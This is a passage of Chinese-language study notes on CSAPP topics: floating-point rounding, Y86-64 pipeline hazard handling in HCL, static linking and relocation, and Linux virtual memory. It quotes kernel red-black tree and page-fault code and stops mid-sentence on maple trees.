答案是2**24+1，这是因为float只有23位的尾数，将这个int类型转为float的时候末尾的1会由于向偶数舍入原则被约去，导致精度缺失。\n给定一个实数， 会因为该实数表示成单精度浮点数而发生误差。不考虑 NaN 和 Inf 的情况， 该绝对误差的最大值为（舍入方式为向偶数舍入）？ 答案是2**103，计算方式是，对于尾数每间隔一个值差值是2**(-23)，那么这个差值被精度舍去后造成的实际误差是差值的一半；让阶码部分取到规格化数的最大值1111 1110，数值是254，再减去偏置值127得到指数部分的幂是127，则答案就是2**(127) * (1/2)*2**(-23) = 2**(103)。\n4. 处理器体系结构 # 4.1 Y86-64指令与指令编码 # ISA: 一个处理器支持的指令和指令的字节级编码称为它的指令集体系结构(Instruction-Set Architecture)，是硬件和软件之间的过渡与承接口。\nCISC 和 RISC 的对比：\nCISC（复杂指令集）：指令多而强大，一条复杂指令能干好多事 RISC（精简指令集）：指令少而简单，需要多条简单指令组合完成复杂任务 相比于RISC，CISC的指令多，硬件复杂使得软件简单，指令长度变长，寻址方式多（RISC通常只有load/store），寄存器数量少（RISC使用寄存器密集的过程链接）。\n4.2 逻辑设计和硬件控制语言HCL # 要实现一个数字系统需要三个主要的组成部分：计算对位进行操作的函数的组合逻辑、存储位的存储器单元，以及控制存储器单元更新的时钟信号。\nHCL(Hardware Control Language 硬件控制语言)\n对于寄存器文件，读取是随时读取的，写入则是在边沿触发时才发生的。大多数时候寄存器都保持在稳定状态，产生的输出就是当前的状态。只有当时钟变为高电位的时候，输入的信号才会加载进寄存器并在一段延迟过后输出新的状态。而写入过程是由时钟信号控制的，当时钟上升时，输入的值才会被写入输入的dstW上的寄存器。\n细节：比如执行mov $3,%rax的时候，在访存阶段结束后，刚刚进入写回阶段的开始，valE和rax才刚刚加载进写回的寄存器中。然后，需要等到该阶段结束时、进入下一个阶段的时候，此时产生高电位的边沿，输入的值3才会被写入输入的寄存器rax中。这在流水线的数据冒险中需要有一定理解。因为假设此时恰好下面有一条指令是在进行译码操作，那么读取是随时进行的，输入rax的寄存器名称就会马上输出其值，然而此时上方的rax却还没更新。\n4.3 Y86-64的顺序实现 # 将处理一条指令划分为6个阶段。\n4.4 Y86-64的流水线实现 # 预测错误，需要在JXX进入到M阶段才能检查E阶段产生的cc是否成立。在f_pc中检查if M.icode==JX \u0026amp;\u0026amp; !M.cnd，如果成立说明预测错误，此时流水线中已经进入了两条新指令，我们需要取消这两条指令，并且让pc指向JXX后面的地址。策略是使得f_pc取M.valA，同时让F阶段正常取指，D和E阶段都bubble掉。注意M.valA在其D阶段中已经确定了valA的来源是JXX跳转的地址。 ret指令，由于需要待其进入M阶段才能读出下一条指令地址，当到达M时已经有3条新的指令了，需要连续bubble三次才能清空此时的流水线。所以在f_pc中检查if W.icode==RET，如果成立说明接下来的pc应该取W.valM，同时让F阶段暂停，D阶段bubble掉。注意W.valM是在刚刚的M阶段从内存取出的valM传递到W阶段寄存器的值。 load/use冒险，由于上一条指令需要到M阶段才能读出来值而下一条需要在D阶段解析，需要让F和D阶段stall，E阶段bubble掉，这样使得下一条指令的D能延迟到上一条的M，这样就能直接数据前递，让D中的值取m_valM即可。注意m_valM是在此时M阶段刚刚计算出来的valM的值。 对上者总结就是下图： 在流水线设计中，预测pc值是这样的：\n// What address should instruction be fetched at u64 f_pc = [ // Mispredicted branch. Fetch at incremented PC M.icode == JX \u0026amp;\u0026amp; !M.cnd : M.valA; // Completion of RET instruction W.icode == RET : W.valM; // Default: Use predicted value of PC (default to 0) 1 : F.pred_pc; ]; 在D阶段，考虑到对于valA和valB的数据前递，对于二者的取值有一定的优先级顺序，具体如下：\n如果是CALL或者JX，将d_valA设置为D.valP，这个值实际上是为JX预测错误准备的。同时，这个值也是JX Dest执行之后的紧邻着的指令地址。实际上对于JX，在F阶段就已经将pc默认设置为Dest继续执行了；然后我们会在M阶段判断这个跳转到底对不对，如果不对，那么我们就需要获取JX Dest这个指令的下一个指令的正确地址；而这个地址我们在此时就放进d_valA，然后不断传递到M_valA，便于在f_pc中进行预测下一个pc的值。而对于CALL而言这个valA实际没有作用。 接下来就要考虑是否要数据前递了。而前递的优先级是阶段越靠前优先级越高，这是因为靠前说明这个指令是与当前指令距离近的（或者说是在当前指令之前的指令中，最迟的那一条指令），这样的话，我们找到了最近的那个先前指令可以保证要传递的数据是最新的可能要被更新的数据。 如果不需要前递，就使用从rA寄存器读取的值就行了。 // What should be the A value? // Forward into decode stage for valA u64 d_valA = [ D.icode in { CALL, JX } : D.valP; // Use incremented PC d_srcA == e_dstE : e_valE; // Forward valE from execute d_srcA == M.dstM : m_valM; // Forward valM from memory d_srcA == M.dstE : M.valE; // Forward valE from memory d_srcA == W.dstM : W.valM; // Forward valM from write back d_srcA == W.dstE : W.valE; // Forward valE from write back 1 : d_rvalA; // Use value read from register file ]; u64 d_valB = [ d_srcB == e_dstE : e_valE; // Forward valE from execute d_srcB == M.dstM : m_valM; // Forward valM from memory d_srcB == M.dstE : M.valE; // Forward valE from memory d_srcB == W.dstM : W.valM; // Forward valM from write back d_srcB == W.dstE : W.valE; // Forward valE from write back 1 : d_rvalB; // Use value read from register file ]; 再来看逻辑控制，F阶段不可能会bubble，只会stall，什么时候会stall？在load/use的时候会和D一起stall；在ret的时候也会stall等待ret从M中读取新pc值。所以有：\n// Should I stall or inject a bubble into Pipeline Register F? // At most one of these can be true. bool f_bubble = false; bool f_stall = // Conditions for a load/use hazard E.icode in { MRMOVQ, POPQ } \u0026amp;\u0026amp; E.dstM in { d_srcA, d_srcB } || // Stalling at fetch while ret passes through pipeline RET in {D.icode, E.icode, M.icode}; 注意，load/use必须是从内存中load才行，所以只会有MRMOVQ和POPQ可能造成。\n在D阶段，什么时候会bubble？在ret的时候会将之后的三条指令都bubble掉；在预测错误的时候也会和E一起bubble掉两条无用指令。所以有：\nbool d_bubble = // Mispredicted branch (E.icode == JX \u0026amp;\u0026amp; !e_cnd) || // Stalling at fetch while ret passes through pipeline // but not condition for a load/use hazard !(E.icode in { MRMOVQ, POPQ } \u0026amp;\u0026amp; E.dstM in { d_srcA, d_srcB }) \u0026amp;\u0026amp; RET in {D.icode, E.icode, M.icode}; 在D阶段，什么时候会stall？在load/use的时候会和F一起stall。\nbool d_stall = // Conditions for a load/use hazard E.icode in { MRMOVQ, POPQ } \u0026amp;\u0026amp; E.dstM in { d_srcA, d_srcB }; 在E阶段，当load/use的时候会bubble；当预测错误的时候会bubble；不会stall。\n// Should I stall or inject a bubble into Pipeline Register E? // At most one of these can be true. bool e_stall = false; bool e_bubble = // Mispredicted branch (E.icode == JX \u0026amp;\u0026amp; !e_cnd) || // Conditions for a load/use hazard E.icode in { MRMOVQ, POPQ } \u0026amp;\u0026amp; E.dstM in { d_srcA, d_srcB }; 教材课后题中提到了一种叫做加载转发的技术。考虑这样的load/use问题：\nmrmovq 0(%rcx),%rdx # Load 1 pushq %rdx # Store 1 nop popq %rdx # Load 2 rmmovq %rax,0(%rdx) # Store 2 一般的load/use需要在store的时候将F和D暂停，等到load到达M的时候进行数据前递。一般的判断方式是这样的：\nE.icode in {IMRMOVQ, IPOPQ} \u0026amp;\u0026amp; E.dstM in {d_srcA, d_srcB} 这样的原因是，use的时候是需要在D阶段解析出来的。但是在这里的Load1和Store1中，use虽然也需要在D阶段解析%rdx的值，但是真正需要使用它却是在访存的M阶段。而当它到达M的时候，Load已经到达了W阶段（在没stall的情况下），此时是可以将W_valA直接传递到M中的，而这个W_valA来自Load在M中读出来的m_valM。类似的，真正使用load值是在M阶段的除了pushq以外还有rmmovq。所以在增加了这一加载转发技术之后，判断发现load/use冒险的逻辑公式就变成：\nE_icode in {IMRMOVL,IPOPL} \u0026amp;\u0026amp; E_dstM in {d_srcA} \u0026amp;\u0026amp; !(D_icode in { IRMMOVQ, IPUSHQ }) E_dstM in {d_srcB} 6. 存储器层次结构 # 易失性存储器： SRAM 速度快，成本高，结构复杂（每单元有6个晶体管），容量小 DRAM 非易失性存储器 ROM（只读存储器），但并不是全部都是只能读不能写 HDD(Hard Disk Drive) 圆盘机械结构，容量大，怕震动，成本低 SSD(Solid State Drive) 抗震，速度快，有擦写次数限制 7. 链接 # 7.1 符号解析 # /* 未初始化的全局变量--COMMON 未初始化的静态变量 \u0026amp; 初始化为0的全局和静态变量 -- .bss 初始化了的且不为0的全局和静态变量 -- .data */ /* extern int a; int foo(); 这些都是只**声明**，如果没有引用则不会出现在符号表中 int a; int a = 1; 这些都是定义，会出现在.bss或者.data中，分配内存 int foo(){} 这种是定义，会出现在.text中 */ int val_global_undef; // C int val_global_init0 = 0; // B int val_global_init = 111; // D static int s_val_global_undef; // b static int s_val_global_init0 = 0; // b static int s_val_global_init = 123; // d int *val_ptr_undef; // extern int e_val_global_undef[]; // 如果没有被使用就不产生在符号表中，被使用（引用）是U /* extern */int sum_declaration(int *a, int n); // 函数默认有extern，如果不被使用就不会产生在符号表中 /* extern */int sum_definition(int *a, int n){return 3;} // 并非纯声明，有定义，出现在T中 int array_undef[2]; // C int array_init[2] = {1, 2}; // D int foo() { // T int foo_val_undef; int foo_val_init_0 = 0; int foo_val_init = 1234; static int sfoo_val_undef; // b static int sfoo_val_init_0 = 0; // b static int sfoo_val_init = 214; // d return foo_val_init; } int main() { // T // int *val = \u0026amp;e_val_global_undef[0]; int val = 1; return val; } 7.2 与静态库的链接 # 静态库是一个归档文件(archive file)，它包含了多个目标文件(object file)。静态库的文件名通常以.a结尾，比如libm.a。\n链接器是这样使用静态库来解析引用的：\n维护三个关键集合： 可重定位目标文件集合(E)：最终将被合并到可执行文件中的 .o 文件列表。 未解析符号集合(U)：当前已被引用（例如通过extern声明），但尚未找到其定义的所有符号。 已定义符号集合 (D)：到目前为止，所有由已添加到 E 中的文件所定义的符号。 初始化与命令行扫描： 链接器初始化 E, U, D 为空。然后从左到右依次扫描命令行上给出的文件（包括目标文件 .o 和静态库 .a）。\n针对不同类型的文件，链接器采取不同操作： 遇到目标文件 (.o)：\n无条件地将此 .o 文件加入集合 E。 将此 .o 文件中定义的所有符号加入 D。 将此 .o 文件中引用的、但尚未在 D 中找到定义的符号加入 U。 遇到静态库 (.a)：\n将 .a 文件视为一个“目标文件的归档包”。链接器会遍历库中的所有成员目标文件（如 libc.a 中的 printf.o, malloc.o 等）。 对于库中的每一个成员目标文件，链接器检查：该成员文件是否定义了 U 中当前列出的某个未解析符号？ 如果 是，链接器就将该成员 .o 文件从库中“提取”出来，像处理普通目标文件一样处理它（即加入 E，更新 D 和 U）。 如果 否，链接器就简单地跳过这个成员文件。 对库中所有成员文件检查完毕后，链接器就继续处理命令行上的下一个文件。 扫描结束与结果判断： 当命令行上所有文件都扫描完毕后，链接器进行检查： 如果 U 为空：恭喜，所有符号引用都已成功解析。链接器合并 E 中的所有 .o 文件，生成最终的可执行文件。 如果 U 不为空：链接器报错 “undefined reference to xxx”，链接失败。 如依赖关系： p.o → libx.a → liby.a → libz.a 和 liby.a → libx.a → libz.a，给出使得静态链接器能够解析所有符号引用的最小的命令行:\ngcc p.o libx.a liby.a libx.a libz.a 7.3 重定位符号引用 # 重定位条目 typedef struct { long offset; long type:32, symbol:32; long addend; } Elf64_Rela; offset：需要重定位的地址相对于节(section)起始地址的偏移量。 type：重定位的类型，决定了如何计算重定位地址。比如：R_X86_64_PC32表示PC相对引用，R_X86_64_32表示使用32为绝对地址的引用。 symbol：符号表中符号的索引，表示需要重定位的符号。 addend：一个常数值，通常用于调整计算结果。对于PC32这个值是-4；对于PC64这个值是-8。\n重定位PC相对引用 首先，遍历每一个节s，它是一个字节数组；并遍历节s中的每一个重定位条目r。 对于每一个重定位条目r，我们需要两个数字： refptr：需要重定位的地址，计算方式是节s的起始地址加上r.offset。这个地址是在未链接时需要改写的地址。在改写之前，refptr位置是全0的4个字节（对于32位）。 *refptr：这个需要重定位地址处应该填写的真实数字，计算方式是： 获取节s的运行时地址（记为ADDR(s)），加上r.offset，得到refptr的运行时地址，记作refaddr。 获取符号表中索引为r.symbol的符号的运行时地址（记为ADDR(r.symbol)），减去在刚刚获取的refaddr，再加上r.addend，得到*refptr的值。 最后，将*refptr的值写入到refptr位置，完成重定位。 重定位绝对引用 首先，遍历每一个节s，它是一个字节数组；并遍历节s中的每一个重定位条目r。 对于每一个重定位条目r，我们需要两个数字： refptr：需要重定位的地址，计算方式是节s的起始地址加上r.offset。这个地址是在未链接时需要改写的地址。在改写之前，refptr位置是全0的4个字节（对于32位）。 *refptr：这个需要重定位地址处应该填写的真实数字，计算方式是： 获取符号表中索引为r.symbol的符号的运行时地址（记为ADDR(r.symbol)），再加上r.addend，得到*refptr的值。 最后，将*refptr的值写入到refptr位置，完成重定位。 总结一下：首先我们需要找到在链接之前，需要改写地址的地方，也就是节s的地址+r.offset，这里起初是全0的。然后我们根据r.type来决定如何计算这个地址应该被改写成什么值。如果是PC相对引用，那么我们需要用符号的运行时地址减去这个地址（在运行时的该地址）再加上addend；如果是绝对引用，那么我们只需要用符号的地址加上addend。最后将计算出来的值写入到需要改写的地址处。\n给出代码：\nforeach section s { foreach relocation entry r in s { refptr = s.start_address + r.offset; // 此处是需要进行改写的地方 if (r.type == R_X86_64_PC32) { refaddr = ADDR(s) + r.offset; // 计算出refptr在运行时的地址 *refptr = ADDR(r.symbol) - refaddr + r.addend; // 计算出需要写入refptr的值 } else if (r.type == R_X86_64_32) { *refptr = ADDR(r.symbol) + r.addend; // 计算出需要写入refptr的值 } } } 9. 虚拟地址 # 9.1 概述 # 整体框架和优化的流程：\n最开始，CPU在请求数据的时候，是直接通过发送**物理地址(PA, Physical Address)来访问磁盘(Disk)**中的数据的，这个过程是非常低效的，因为磁盘的访问时间非常长。\n为了提升访问效率，引入了虚拟内存(Virtual Memory)的概念，CPU不再直接发送物理地址PA，而是发送虚拟地址(VA, Virtual Address)，通过内存管理单元(MMU, Memory Managing Unit)和操作系统完成对VA到PA的翻译过程，然后再通过PA去访问磁盘中的数据。MMU是存储在CPU内部的。\n但是这个过程仍然是非常低效的，因为每次CPU访问数据都需要经过MMU进行地址翻译，然后再去磁盘中查找数据，磁盘的访问时间还是非常长。所以为了优化访问磁盘的时间效率，采取缓存策略，也即利用 DRAM 来对磁盘中的数据进行缓存，这样CPU访问数据时，先通过MMU翻译VA得到PA，然后先在DRAM中查找数据，如果找到了就直接返回给CPU；否则再去磁盘中查找数据。如果在DRAM中没有找到数据，这个过程称为 缺页(page fault)，需要操作系统的内核介入，将对应的磁盘数据加载到DRAM中，然后再返回给CPU。（见下方第一个贴图）\n在MMU中进行地址翻译的时候，涉及到VA到PA的映射关系，这个映射关系是通过页表(Page Table) 来实现的。页表存储了VA到PA的映射关系，当MMU接收到一个VA时，会查找页表，找到对应的PA，然后再去DRAM或磁盘中查找数据。页表是存储在DRAM中的，因此MMU在进行地址翻译时，可能需要访问DRAM来获取页表信息，这个过程也会影响访问效率。\n那为了提升页表的访问效率，引入了快表(TLB, Translation Lookaside Buffer)，TLB是一个小型的缓存，专门用于存储最近使用的VA到PA的映射关系。当MMU接收到一个VA时，首先会在TLB中查找，如果找到了对应的PA，就直接返回给CPU；否则再去DRAM中的页表查找。如果在TLB中没有找到对应的映射关系，这个过程称为 TLB缺失(TLB miss)，需要访问DRAM中的页表来获取映射关系，然后将其加载到TLB中，以便下次访问时可以更快地找到。TLB是存储在CPU内部的，因此访问速度非常快。\n下面给出一个使用markdown语法绘制的整体框架图：\ngraph TD\rsubgraph CPU [CPU Chip]\rdirection TB\rA[CPU Core] --\u0026gt; B[MMU];\rB --\u0026gt; C[TLB];\rsubgraph Cache [CPU Cache]\rD[L1/L2/L3 Cache];\rend\rend\rsubgraph Main Memory [Main Memory DRAM]\rE[Page Tables];\rF[Cached Disk Pages];\rend\rsubgraph Persistent Storage [Persistent Storage]\rG[Disk/SSD];\rend\r%% Data Request Path\rA -- \u0026#34;Virtual Address (VA)\u0026#34; --\u0026gt; B;\rB -- \u0026#34;Check TLB\u0026#34; --\u0026gt; C;\rC -- \u0026#34;TLB Hit\u0026lt;br\u0026gt;Get PA\u0026#34; --\u0026gt; B;\rC -- \u0026#34;TLB Miss\u0026#34; --\u0026gt; E;\rB -- \u0026#34;Physical Address (PA)\u0026#34; --\u0026gt; D;\rD -- \u0026#34;Cache Hit\u0026#34; --\u0026gt; A;\rD -- \u0026#34;Cache Miss\u0026#34; --\u0026gt; F;\rF -- \u0026#34;Page Found in DRAM\u0026lt;br\u0026gt;(Cache Hit)\u0026#34; --\u0026gt; D;\rF -- \u0026#34;Page Fault\u0026lt;br\u0026gt;(Not in DRAM)\u0026#34; --\u0026gt; G;\rG -- \u0026#34;OS Loads Page to DRAM\u0026#34; --\u0026gt; F;\rE -- \u0026#34;Page Table Walk\u0026lt;br\u0026gt;Get PA\u0026#34; --\u0026gt; B;\r%% Styling\rlinkStyle 0 stroke:green,stroke-width:2px;\rlinkStyle 1 stroke:blue,stroke-width:2px;\rlinkStyle 2 stroke:green,stroke-width:2px;\rlinkStyle 3 stroke:blue,stroke-width:2px;\rlinkStyle 4 stroke:green,stroke-width:2px;\rlinkStyle 5 stroke:green,stroke-width:2px;\rlinkStyle 6 stroke:blue,stroke-width:2px;\rlinkStyle 7 stroke:green,stroke-width:2px;\rlinkStyle 8 stroke:blue,stroke-width:2px;\rlinkStyle 9 stroke:red,stroke-width:2px;\rlinkStyle 10 stroke:red,stroke-width:2px; 9.2 Linux虚拟内存系统 # Linux 为每个进程维护了一个单独的虚拟地址空间。\n操作系统给每个进程分配了一个地址空间，其布局如上图。“地址空间”是一个逻辑概念，定义了进程理论上可以访问的所有虚拟地址的范围；页表是一个物理数据结构，记录了地址空间中哪些区域已经被映射到物理内存。CPU在取指或者访问数据时，给出的是一个虚拟地址，并利用这个虚拟地址去查页表，从而去找到对应的物理内存。可以说，地址空间是对物理内存的抽象，是给CPU提供便利的。而具体的寻址还是需要页表和物理内存来实现。同时这样的抽象也为地址的合理性检查提供了便利。\n可以发现每个进程的地址空间分为两个部分：\n高地址处是内核空间，一部分是与进程相关的私有数据，如内核栈、进程控制块PCB、页表等等，这些在每个进程中是独立的，每个进程都不相同；另一部分则是内核代码和数据，这些则是每个进程共享的，具体的方式是每个进程的页表负责映射“高地址内核空间”的那些页表项，都指向物理内存中完全相同的那一页，对每个进程都一样。比如PCB就在这里。 低地址处是用户空间，包括.rodata,.bss,.data,.text段以及堆栈等等。 可以使用cat /proc/[PID]/maps来查看\n在Linux中，struct mm_struct *mm是整个进程用户态虚拟地址空间的总入口，包含页目录、虚拟内存区域链表等全部信息。如pgd_t *pgd是页目录的起始地址，在x86中会在利用这个值时保存在CR3寄存器中。\n9.2.1 Linux虚拟内存区域 # Linux 将虚拟内存组织成一些区域（也叫做段）的集合。一个区域(area)就是已经存在着的（已分配的）虚拟内存的连续片(chunk), 这些页是以某种方式相关联的。\n通过阅读linux源码发现在v6.1之前（不包含6.1），虚拟内存确实是按照csapp书中图上这样的组织方式进行的；而在v6.1及以后的版本中，mm_struct中不再有vm_area_struct，变为一个maple_tree的结构来管理虚拟空间。这里先看看书中所说版本的代码：\n在/include/linux/sched.h中定义了struct task_struct，可以在其中找到成员struct mm_struct *mm，也就是上图中的第一个指针；\n// /include/linux/sched.h struct task_struct { ... struct mm_struct\t*mm; ... } 在/include/linux/mm_types.h中定义了struct mm_struct，如下：\n// /include/linux/mm_types.h struct mm_struct { ... struct vm_area_struct *mmap;\t/* list of VMAs */ struct rb_root mm_rb; ... } 在/include/linux/mm_types.h中定义了struct vm_area_struct，如下：\n// /include/linux/mm_types.h struct vm_area_struct { unsigned long vm_start;\t/* Our start address within vm_mm. */ unsigned long vm_end;\t/* The first byte after our end address within vm_mm. */ /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... struct mm_struct *vm_mm;\t/* The address space we belong to. */ pgprot_t vm_page_prot;\t/* Access permissions of this VMA. */ unsigned long vm_flags;\t/* Flags, see mm.h. */ } 可以发现这些区域(vm_area)是以链表方式组织的，且更具体是使用红黑树组织的，可以发现在mm_struct中有嵌入的struct rb_node mm_rb；在vm_area_struct中有嵌入的struct rb_node vm_rb。事实上，在后面提到的缺页处理中查看某个虚拟地址是否合法的时候，利用红黑树的结构能够快速地判断，且mm_rb作为根节点、vm_rb作为其余节点进行查询。有关红黑树的具体内容见9.2.3的内容。\n9.2.2 Linux缺页异常处理 # 假设MMU在试图翻译某个虚拟地址A时，触发了一个缺页。这个异常导致控制转移到内核的缺页处理程序，处理程序随后就执行下面的步骤:\n(1) 虚拟地址A是合法的吗？换句话说，A在某个区域结构定义的区域内吗？为了回答这个问题，缺页处理程序搜索区域结构的链表，把A和每个区域结构(vm_area_struct)中的vm_start和vm_end做比较。如果这个指令是不合法的，那么缺页处理程序就触发一个段错误，从而终止这个进程。这个情况在下图中标识为\u0026quot;1\u0026quot;。 因为一个进程可以创建任意数量的新虚拟内存区域，所以顺序搜索区域结构的链表花销可能会很大。因此在实际中，Linux在链表中构建了一棵红黑树，并在这棵树上进行查找。\n(2) 试图进行的内存访问是否合法？换句话说，进程是否有读、写或者执行这个区域内页面的权限？例如，这个缺页是不是由一条试图对这个代码段里的只读页面进行写操作的存储指令造成的？这个缺页是不是因为一个运行在用户模式中的进程试图从内核虚拟内存中读取字造成的？如果试图进行的访问是不合法的，那么缺页处理程序会触发一个保护异常，从而终止这个进程。这种情况在下图中标识为\u0026quot;2\u0026quot;。\n(3) 此刻，内核知道了这个缺页是由于对合法的虚拟地址进行合法的操作造成的。它是这样来处理这个缺页的:选择一个牺牲页面，如果这个牺牲页面被修改过，那么就将它交换出去，换人新的页面并更新页表。当缺页处理程序返回时，CPU重新启动引起缺页的指令，这条指令将再次发送A到MMU。这次，MMU就能正常地翻译A，而不会再产生缺页中断了。\n9.2.3 红黑树在虚拟内存中的应用浅析 # 注：以下代码均来自于Linux v5.0。\n写这一小部分的动机是原书上提到了：\n我想看看在源码中怎么实现红黑树的，就去https://elixir.bootlin.com/linux中搜索了一下，具体如下：\n9.2.3.1 红黑树节点的定义 # 在/include/linux/rbtree.h中给出了节点的定义：\n// /include/linux/rbtree.h struct rb_node { unsigned long __rb_parent_color; struct rb_node *rb_right; struct rb_node *rb_left; } __attribute__((aligned(sizeof(long)))); /* The alignment might seem pointless, but allegedly CRIS needs it */ struct rb_root { struct rb_node *rb_node; }; // 后续还有很多操作函数的声明 可以发现一个节点的成员有：父亲节点的指针、左右子孩子的指针，并且父亲节点的颜色作为第三位与父节点指针组合在了一起。原因是节点地址按照64位对齐，那么每个节点的地址的第三位势必都是0，而颜色只有红黑两种，只需一位就可以进行标记，那么就有了__rb_parent_color = rb_parent_addr | rb_parent_color。想要取出来父节点地址也很简单，只需要把低3位置0即可。（这里和动态内存分配中的隐式空闲链表的头部尾部设计是类似的，由于空闲块地址都是64位对齐的，低三位必定都是0，那么就可以利用这3位来标记当前块是空闲的还是已分配的了，具体见下图）\n此外在这个文件中还有一些比较关键的宏定义，例如在文件/include/linux/kernel.h中所定义的container_of宏：\n// /include/linux/kernel.h /** * container_of - cast a member of a structure out to the containing structure * @ptr:\tthe pointer to the member. * @type:\tthe type of the container struct this is embedded in. * @member:\tthe name of the member within the struct. * */ #define container_of(ptr, type, member) ({\t\\ void *__mptr = (void *)(ptr);\t\\ BUILD_BUG_ON_MSG(!__same_type(*(ptr), ((type *)0)-\u0026gt;member) \u0026amp;\u0026amp;\t\\ !__same_type(*(ptr), void),\t\\ \u0026#34;pointer type mismatch in container_of()\u0026#34;);\t\\ ((type *)(__mptr - offsetof(type, member))); }) 这个宏的名称就很直白：取某某的容器，具体地看，其作用是利用ptr指针减去该指针到其所处结构体起始地址的偏移量(offsetof(type, member))，以获得该指针所处结构体的起始地址的指针。这个宏解决的问题是：只知道结构体中某个成员的指针，如何获得整个结构体的指针？运算方式就是：\n$$\raddr_{结构体地址} = addr_{成员地址} - offsetof(type, member)\r$$其中BUILD_BUG_ON_MSG：如果不匹配，编译时报错；((type *)0)-\u0026gt;member：使用空指针访问成员，仅在编译时，不实际执行。而offsetof是编译器内置功能，计算成员在结构体中的偏移量。({ }) 是一个表达式，有返回值，保持宏的表达式的特性可以赋值。\n此外，该文件还对其进行了一层包装：\n// /include/linux/rbtree.h #define\trb_entry(ptr, type, member) container_of(ptr, type, member) 这样的好处是，可以将红黑树的节点嵌入到其他数据结构当中，也就是说可以将一个struct rb_node *rb_node节点作为成员放在其他数据结构中。这样的好处是，当我们在红黑树中查找到一个节点时，可以通过rb_entry宏来获取包含该节点的更大结构体的指针，从而访问该结构体的其他成员。在进行红黑树操作时，这种方式非常有用，因为我们通常需要访问包含节点的结构体的其他信息，而不仅仅是节点本身。下面可给出一个具体的例子来说明：\nstruct my_data { int value; struct rb_node node; // 红黑树节点作为成员 }; // 假设我们有一个指向红黑树节点的指针 rb_node_ptr struct my_data *data_ptr = rb_entry(rb_node_ptr, struct my_data, node); 在这个例子中，rb_entry 宏将 rb_node_ptr 转换为指向包含该节点的 my_data 结构体的指针 data_ptr，从而可以访问 my_data 结构体中的其他成员（如 value）。而这些其他成员正好可以作为红黑树节点的附加信息使用，比如在插入节点时进行的比较规则。\n9.2.3.2 红黑树在虚拟内存中的应用 # 我找到了在9.2.2中提到的缺页异常处理的代码逻辑，位于/arch/x86/mm/fault.c中，下面省略非常繁杂的判断部分只给出缺页处理中可能会遇到的三种情况的部分（段错误、保护异常、合法缺页）：\n// /arch/x86/mm/fault.c /* * Handle faults in the user portion of the address space. Nothing in here * should check X86_PF_USER without a specific justification: for almost * all purposes, we should treat a normal kernel access to user memory * (e.g. get_user(), put_user(), etc.) the same as the WRUSS instruction. * The one exception is AC flag handling, which is, per the x86 * architecture, special for WRUSS. */ static inline void do_user_addr_fault(struct pt_regs *regs, unsigned long error_code, unsigned long address) { struct vm_area_struct *vma; struct task_struct *tsk; struct mm_struct *mm; vm_fault_t fault; unsigned int flags = FAULT_FLAG_DEFAULT; tsk = current; mm = tsk-\u0026gt;mm; ... vma = find_vma(mm, address); // 查找包含address的VMA // 情况1：没有找到包含address的VMA，触发段错误 if (unlikely(!vma)) { bad_area(regs, hw_error_code, address); return; } // 情况2：正常缺页，访问未加载的有效页面 if (likely(vma-\u0026gt;vm_start \u0026lt;= address)) goto good_area; if (unlikely(!(vma-\u0026gt;vm_flags \u0026amp; VM_GROWSDOWN))) { bad_area(regs, hw_error_code, address); return; } if (unlikely(expand_stack(vma, address))) { bad_area(regs, hw_error_code, address); return; } /* * Ok, we have a good vm_area for this memory access, so * we can handle it.. */ good_area: if (unlikely(access_error(hw_error_code, vma))) { // 情况3：VMA 存在，但访问权限不合法，触发保护异常 bad_area_access_error(regs, hw_error_code, address, vma); return; } fault = handle_mm_fault(vma, address, flags); ... } 在这个函数中有几个关键点： (1) likely, unlikely likely 和 unlikely 宏的定义如下： ```c #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) __builtin_expect 是 GCC 的内置函数，用来对选择语句的判断条件进行优化，常用于一个判断条件经常成立（如 likely）或经常不成立（如 unlikely）的情况。__builtin_expect 的函数原型为 long __builtin_expect(long exp, long c)，返回值为完整表达式 exp 的值，它的作用是期望表达式 exp 的值等于 c。如果 exp == c 条件成立的机会占绝大多数，那么性能将会得到提升，否则性能反而会下降。\n因此，if (unlikely(a)) 和 if (likely(a)) 的执行等价于 if (a) ，区别在于 unlikely 和 likely 函数的加入会优化编译。这样做的目的可以提高 CPU 指令判断效率，减少指令跳转而降低性能。\nif (likely(a \u0026gt; b)) { // 这里的代码更有可能被执行 fun1(); } else { // 这里的代码不太可能被执行 fun2(); } 此处参考来源：https://blog.csdn.net/ludaoyi88/article/details/113832126\n(2) vma(virtual memory area)是如何找到的\n查看函数find_vma，来自文件/mm/mmap.c/：\n// /mm/mmap.c /* Look up the first VMA which satisfies addr \u0026lt; vm_end, NULL if none. */ struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr) { struct rb_node *rb_node; struct vm_area_struct *vma; /* Check the cache first. */ vma = vmacache_find(mm, addr); if (likely(vma)) return vma; rb_node = mm-\u0026gt;mm_rb.rb_node; // 红黑树根节点：mm_rb.rb_node while (rb_node) { struct vm_area_struct *tmp; tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb); if (tmp-\u0026gt;vm_end \u0026gt; addr) { vma = tmp; if (tmp-\u0026gt;vm_start \u0026lt;= addr) break; rb_node = rb_node-\u0026gt;rb_left; } else rb_node = rb_node-\u0026gt;rb_right; } if (vma) vmacache_update(addr, vma); return vma; } 函数功能是查找包含地址 addr 的 vma，查找第一个满足 addr \u0026lt; vm_end 的 vma，返回找到的 vma 或 NULL。这样设计的原理来自于将红黑树节点嵌入在两个数据结构中：\n// mm_struct 中的定义 struct mm_struct { struct rb_root mm_rb; // 红黑树的根节点 // ... }; // vm_area_struct 中的定义 struct vm_area_struct { // ... struct rb_node vm_rb; // 红黑树节点，嵌入在VMA中 // ... }; mm-\u0026gt;mm_rb是VMA红黑树的入口点，所有的vma都通过vm_rb链接成红黑树，利用红黑树节点的遍历规则，加上rb_entry宏获得结构体地址，借助成员变量vm_start和vm_end来进行比较规则，实现查到满足条件的vma。我觉得这个函数是比较有精髓的一个了，红黑树在虚拟内存中的作用很集中地体现在这个函数当中。\n9.2.3.3 版本变化 # 我发现自从v6.1以后，mm_struct的结构发生了变化，没有了struct rb_root mm_rb;，而变为：struct maple_tree mm_mt;。很明显从此以后没有再使用红黑树进行存储虚拟内存块了，而是转向了B树的变体：Maple Tree。经过查询ai得知，对比有以下好处：\n红黑树的局限性:\n缓存不友好：红黑树的节点分散在内存中 锁争用严重：全局锁影响并发性能 范围查询低效：查找重叠区间的操作复杂 内存开销大：每个 VMA 需要额外的指针 Maple Tree 